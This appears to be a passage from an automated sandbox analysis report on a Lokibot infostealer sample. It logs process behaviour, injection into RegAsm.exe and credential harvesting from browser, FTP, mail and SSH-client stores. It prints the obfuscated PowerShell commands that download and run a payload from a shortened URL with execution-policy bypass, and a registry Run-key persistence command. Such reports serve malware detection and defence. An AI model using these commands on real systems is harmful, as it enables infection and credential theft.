Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\ntrwe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process information set: NOGPFAULTERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\ntrwe.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\ntrwe.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\ntrwe.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\ntrwe.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2708	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2828	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2688	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12.exe TID: 1484	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12.exe TID: 1840	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12.exe TID: 1840	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12.exe TID: 1836	Thread sleep count: 187 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12.exe TID: 2964	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\ntrwe.exe TID: 1476	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Users\user\ntrwe.exe TID: 1476	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\ntrwe.exe TID: 1900	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\ntrwe.exe TID: 1544	Thread sleep count: 156 > 30	Jump to behavior
Source: C:\Users\user\ntrwe.exe TID: 1192	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe TID: 2076	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe TID: 2076	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\ntrwe.exe TID: 2492	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Users\user\ntrwe.exe TID: 2492	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\ntrwe.exe TID: 2500	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\ntrwe.exe TID: 1776	Thread sleep count: 185 > 30
Source: C:\Users\user\ntrwe.exe TID: 2784	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe

Code function: 17_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

17_2_00403D74

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior

Source: 12.exe, 0000000B.00000003.2176518302.00000000082B9000.00000004.00000001.sdmp

Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe

Code function: 17_2_0040317B mov eax, dword ptr fs:[00000030h]

17_2_0040317B

Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe

Code function: 17_2_00402B7C GetProcessHeap,RtlAllocateHeap,

17_2_00402B7C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\ntrwe.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\ntrwe.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\ntrwe.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\12.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Allocates memory in foreign processes

Show sources

Source: C:\Users\user\ntrwe.exe	Memory allocated: C:\Users\user\AppData\Local\Temp\RegAsm.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\user\ntrwe.exe	Memory allocated: C:\Users\user\AppData\Local\Temp\RegAsm.exe base: 400000 protect: page execute and read and write

Bypasses PowerShell execution policy

Show sources

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 -EP bypass .('S'+'tart'+'-Sl'+'eep') 25; cd ${enV`:temp};.('.'+'/12.exe')

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\ntrwe.exe	Memory written: C:\Users\user\AppData\Local\Temp\RegAsm.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\ntrwe.exe	Memory written: C:\Users\user\AppData\Local\Temp\RegAsm.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Show sources

Source: C:\Users\user\ntrwe.exe	Memory written: C:\Users\user\AppData\Local\Temp\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\ntrwe.exe	Memory written: C:\Users\user\AppData\Local\Temp\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\ntrwe.exe	Memory written: C:\Users\user\AppData\Local\Temp\RegAsm.exe base: 415000	Jump to behavior
Source: C:\Users\user\ntrwe.exe	Memory written: C:\Users\user\AppData\Local\Temp\RegAsm.exe base: 41A000	Jump to behavior
Source: C:\Users\user\ntrwe.exe	Memory written: C:\Users\user\AppData\Local\Temp\RegAsm.exe base: 4A0000	Jump to behavior
Source: C:\Users\user\ntrwe.exe	Memory written: C:\Users\user\AppData\Local\Temp\RegAsm.exe base: 7EFDE008	Jump to behavior
Source: C:\Users\user\ntrwe.exe	Memory written: C:\Users\user\AppData\Local\Temp\RegAsm.exe base: 400000
Source: C:\Users\user\ntrwe.exe	Memory written: C:\Users\user\AppData\Local\Temp\RegAsm.exe base: 401000
Source: C:\Users\user\ntrwe.exe	Memory written: C:\Users\user\AppData\Local\Temp\RegAsm.exe base: 415000
Source: C:\Users\user\ntrwe.exe	Memory written: C:\Users\user\AppData\Local\Temp\RegAsm.exe base: 41A000
Source: C:\Users\user\ntrwe.exe	Memory written: C:\Users\user\AppData\Local\Temp\RegAsm.exe base: 4A0000
Source: C:\Users\user\ntrwe.exe	Memory written: C:\Users\user\AppData\Local\Temp\RegAsm.exe base: 7EFDE008

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 (nEw-oB`jecT Net.WebcLIENt).('Down'+'loadFile').Invoke('https://cutt.ly/qjdJoz4','12.exe')	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 .('S'+'tart'+'-Sl'+'eep') 20; Move-Item '12.exe' -Destination '${enV`:temp}'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 -EP bypass .('S'+'tart'+'-Sl'+'eep') 25; cd ${enV`:temp};.('.'+'/12.exe')	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\12.exe C:\Users\user\AppData\Local\Temp\12.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'cmd.exe' /c REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run' /f /v 'jfdts' /t REG_SZ /d 'C:\Users\user\ntrwe.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12.exe	Process created: C:\Users\user\ntrwe.exe 'C:\Users\user\ntrwe.exe'	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run' /f /v 'jfdts' /t REG_SZ /d 'C:\Users\user\ntrwe.exe'	Jump to behavior
Source: C:\Users\user\ntrwe.exe	Process created: C:\Users\user\AppData\Local\Temp\RegAsm.exe C:\Users\user\AppData\Local\Temp\RegAsm.exe	Jump to behavior
Source: C:\Users\user\ntrwe.exe	Process created: C:\Users\user\AppData\Local\Temp\RegAsm.exe C:\Users\user\AppData\Local\Temp\RegAsm.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\12.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\ntrwe.exe	Queries volume information: C:\Users\user\ntrwe.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\ntrwe.exe	Queries volume information: C:\Users\user\ntrwe.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db VolumeInformation	Jump to behavior
Source: C:\Users\user\ntrwe.exe	Queries volume information: C:\Users\user\ntrwe.exe VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe

Code function: 17_2_00406069 GetUserNameW,

17_2_00406069

Source: C:\Users\user\AppData\Local\Temp\12.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected Lokibot

Show sources

Source: Yara match	File source: 0000000F.00000002.2194899454.0000000003D59000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2181372307.00000000040CD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2194803649.0000000003CBD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2213431587.0000000003CF1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2212693514.0000000002790000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2194883394.0000000003D3F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2213384290.0000000003CBD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2213452314.0000000003D0B000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2213472587.0000000003D3F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2181768708.000000000411B000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2181829102.000000000414F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2181861219.0000000004169000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2181751190.0000000004101000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2194844744.0000000003CF1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2194860595.0000000003D0B000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2213485795.0000000003D59000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2193389507.0000000002792000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2208511718.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 12.exe PID: 2800, type: MEMORY
Source: Yara match	File source: 17.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db	Jump to behavior

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	File opened: HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts	Jump to behavior

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook			Jump to behavior

Tries to steal Mail credentials (via file registry)

Show sources

Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Code function: PopPassword		17_2_0040D069
Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe	Code function: SmtpPassword		17_2_0040D069

Source: Yara match	File source: 0000000F.00000002.2194899454.0000000003D59000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2181372307.00000000040CD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2194803649.0000000003CBD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2213431587.0000000003CF1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2212693514.0000000002790000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2194883394.0000000003D3F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2213384290.0000000003CBD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2213452314.0000000003D0B000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2213472587.0000000003D3F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2181768708.000000000411B000.00000004.00000001.sdmp, type: MEMORY
